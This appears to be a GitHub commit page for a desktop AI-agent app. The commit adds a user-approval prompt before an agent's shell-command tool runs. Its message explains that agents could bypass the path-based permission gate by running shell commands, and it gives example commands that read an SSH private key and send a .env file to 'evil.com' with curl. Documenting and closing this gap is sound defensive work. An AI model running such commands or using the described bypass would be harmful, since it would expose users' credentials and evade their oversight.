Skip to content

Commit 90aaa12

Browse files
committed
fix(security): require user permission before run_command executes
ToolExecutor::run_command was bypassing the path-based permission gate, since AgentRunner::emit_permission_request_if_needed only triggered for tools that include a "path" input. Shell commands could therefore read or exfiltrate sensitive files (cat ~/.ssh/id_rsa, curl evil.com -d @../.env) without ever prompting the user, undermining the sandbox hardening that landed in PR #21. - runner.rs: add a run_command branch that registers a permission request with permission_type "shell_command" and reuses the existing path field to display the command text. - types/index.ts, AppShell.tsx: extend PermissionRequest type with the new variant. - PermissionDialog.tsx: render a clear "wants to run a shell command" message for the new type. Behavior is now: every shell command requires explicit user approval, matching the existing UX for sensitive file and outside-sandbox access.
1 parent 8ff8d61 commit 90aaa12

4 files changed

Lines changed: 28 additions & 2 deletions

File tree

src-tauri/src/agents/runner.rs

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1007,6 +1007,27 @@ impl AgentRunner {
10071007
executor: &ToolExecutor,
10081008
tool_call: &ParsedToolCall,
10091009
) -> Option<oneshot::Receiver<bool>> {
1010+
if tool_call.name == "run_command" {
1011+
let command = tool_call
1012+
.input
1013+
.get("command")
1014+
.and_then(Value::as_str)
1015+
.map(std::string::ToString::to_string)?;
1016+
1017+
let rx = self.permissions.register(agent_run_id.to_string());
1018+
1019+
let _ = self.app_handle.emit(
1020+
"agent-permission-request",
1021+
AgentPermissionRequestEvent {
1022+
agent_run_id: agent_run_id.to_string(),
1023+
permission_type: "shell_command".to_string(),
1024+
path: command,
1025+
agent_type: agent_type.to_string(),
1026+
},
1027+
);
1028+
return Some(rx);
1029+
}
1030+
10101031
let path = tool_call
10111032
.input
10121033
.get("path")

src/components/chat/PermissionDialog.tsx

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,11 @@ export function PermissionDialog({ request, onAllow, onDeny }: PermissionDialogP
3131
Agent <span className="font-semibold text-[var(--text)]">{agentLabel}</span> wants to access a path outside the project:
3232
</>
3333
)}
34+
{request.type === 'shell_command' && (
35+
<>
36+
Agent <span className="font-semibold text-[var(--text)]">{agentLabel}</span> wants to run a shell command:
37+
</>
38+
)}
3439
<br />
3540
<span className="inline-block mt-2 font-mono text-xs bg-[var(--surface-2)] px-2 py-1 rounded border border-[var(--border)] break-all">
3641
{request.path}

src/components/layout/AppShell.tsx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -309,7 +309,7 @@ export const AppShell: React.FC = () => {
309309

310310
const unlistenPermission = await listen<{
311311
agentRunId: string;
312-
type: 'sensitive_file' | 'outside_sandbox';
312+
type: 'sensitive_file' | 'outside_sandbox' | 'shell_command';
313313
path: string;
314314
agentType: string;
315315
}>('agent-permission-request', (event) => {

src/types/index.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -123,7 +123,7 @@ export interface AgentRunWithTools extends AgentRun {
123123
}
124124

125125
export interface PermissionRequest {
126-
type: 'sensitive_file' | 'outside_sandbox';
126+
type: 'sensitive_file' | 'outside_sandbox' | 'shell_command';
127127
path: string;
128128
agentType: AgentType;
129129
agentRunId: string;

0 commit comments

Comments
 (0)